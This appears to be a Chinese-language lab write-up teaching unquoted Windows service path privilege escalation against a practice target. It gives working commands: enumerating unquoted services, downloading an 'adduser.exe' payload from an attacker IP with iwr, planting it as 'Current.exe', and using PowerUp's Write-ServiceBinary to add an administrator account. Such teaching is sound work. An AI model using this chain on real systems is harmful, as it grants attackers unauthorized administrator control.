未加引號的 Windows 服務

 未加引號的 Windows 服務


假設今天要執行一個服務 service.exe 路徑在 "C:\Program Files\My Program\My service\"

這裡底下,lpApplicationName 用於指定服務執行檔的名稱和路徑。如果提供的路徑字串當中包含空格且未用引號括起來,則因為函數很笨不清楚檔案名稱結束和參數開始的位置。所以為了確定這一點,函數開始從左到右的路徑直到到達空格,且對於檔案路徑中的每個空格,函數透過新增 .exe 和其餘部分作為參數,使用前面的部分作為檔案名稱試著啟動服務

故透過一個未加引號的服務二進位路徑 C:\Program Files\My Program\My Service\service.exe 的範例來展示這一點 。當Windows啟動該服務時,由於路徑中存在空格,它將使用以下順序嘗試啟動可執行檔。看到這裡應該猜到可以利用的方式了,就是查找未加引號的服務檔,然後路徑當中有包含空格,就可以利用了

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

所以惡意程式可以是 Program.exe 放在 C:\ 路徑下

也可以是 My.exe 放在 C:\Program Files\ or C:\Program Files\My Program\ 路徑下

但一般 C:\ & C:\Program Files\ 這兩個屬於系統預設路徑

想要將檔案放置於這兩個地方需要特殊權限,當有特殊權限時誰還會去放檔案

放檔案是為了提權所以都是一般使用者帳號,故後面兩個路徑較有可能放檔案




練習 1 

靶機 IP : 192.168.195.220,已知一般使用者帳號密碼 steve / securityIsNotAnOption++++++

利用 GammaService 服務路徑,獲取 daveadmin 桌面上的 flag


第一步 RDP 進去 └─$ xfreerdp -v:192.168.195.220 -u:steve -p:securityIsNotAnOption++++++

然後列舉服務 Get-CimInstance -ClassName win32_service | Select Name,State,PathName
查看題目寫的 GammaService 服務在哪



路徑為 C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe

但服務狀態是停止的 Stopped....

接著使用 cmd 而不是 PowerShell 並透過 wmi 命令 wmic 來查找與確認是否該服務沒有引號

指令 : wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """

/i : 表示不區分大小寫

/v : 表示不包含

很好用的指令,一定要記下來,上述使用 cmd 而不用 PowerShell 是因為用了兩次 |

所以上述第一個 | 後面的 findstr 是先過濾掉包含 C:\Windows 路徑的

然後第二個 | findstr 接著過濾掉有引號的服務 "

輸出結果如下,確認 GammaService 服務啟動路徑未加引號





由於剛剛有看到服務狀態是停止的,所以要測試一下當前的使用者可否啟動予停止服務,不然一切都是白談的,使用 Start-Service GammaService 啟動服務,然後使用 Stop-Service GammaService 停止服務,看來當前使用者的權限沒有問題




由於已經知道服務的路徑且缺乏引號,所以我們先來列舉一下可能可以使用的執行檔路徑檔名

C:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe --> 代表服務本身


接著使用前面學過的 icacls 查看路徑權限

icacls "C:\" & icacls "C:\Program Files" 如下圖,看來 GG 都 (RX) 讀與執行而已




接著看第三個路徑 icacls "C:\Program Files\Enterprise Apps"

事實上第四個可以跳過,因為它代表服務本身的執行檔,若有權限可以替換,就跟前兩章學的替換服務執行檔內容一樣而不是利用未加引號的服務攻擊了

看來可以寫入,沒有問題,所以目標明確是在該路徑下放一個 Current.exe




直接使用前兩章建立的 adduser.exe,然後一樣使用 iwr 透過 HTTP 下載再複製到要利用的路徑

iwr -uri http://192.168.45.161/adduser.exe -Outfile Current.exe

copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'




重新啟動一次服務吧 Start-Service GammaService

服務無法順利啟動記得前面的絕招, shutdown -r -t 0,不過這裡有順利啟動

然後直接查看使用者 dave2 是否成功建立 net user 

接著再看管理者群組 net localgroup administrators




看來一切相當順利,所以 Run AS 拿 flag 吧




上一章有學過自動化工具 PowerUp.ps1 ,除了自動列舉外還能自動建立攻擊檔案

預設建立的帳號為 john密碼是 Password123! ,測試如下展示

PS C:\Users\dave> iwr http://192.168.45.161/PowerUp.ps1 -Outfile PowerUp.ps1

PS C:\Users\dave> powershell -ep bypass
...

PS C:\Users\dave> . .\PowerUp.ps1

PS C:\Users\dave> Get-UnquotedService

ServiceName    : GammaService
Path           : C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users;
                 Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'GammaService' -Path <HijackPath>
CanRestart     : True

ServiceName    : GammaService
Path           : C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'GammaService' -Path <HijackPath>
CanRestart     : True


直接用自動化工具攻擊如下

PS C:\Users\steve> Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"

ServiceName  Path                                         Command
-----------  ----                                         -------
GammaService C:\Program Files\Enterprise Apps\Current.exe net user john Password123! /add && timeout /t 5 && net loc...

PS C:\Users\steve> Restart-Service GammaService
WARNING: Waiting for service 'GammaService (GammaService)' to start...
Restart-Service : Failed to start service 'GammaService (GammaService)'.
At line:1 char:1
+ Restart-Service GammaService
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OpenError: (System.ServiceProcess.ServiceController:ServiceController) [Restart-Service]
   , ServiceCommandException
    + FullyQualifiedErrorId : StartServiceFailed,Microsoft.PowerShell.Commands.RestartServiceCommand

PS C:\Users\steve> net user

User accounts for \\CLIENTWK220

-------------------------------------------------------------------------------
Administrator            BackupAdmin              dave
dave2                    daveadmin                DefaultAccount
Guest                    john            offsec
steve                    WDAGUtilityAccount

The command completed successfully.

PS C:\Users\steve> net localgroup administrators
...
john
...



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)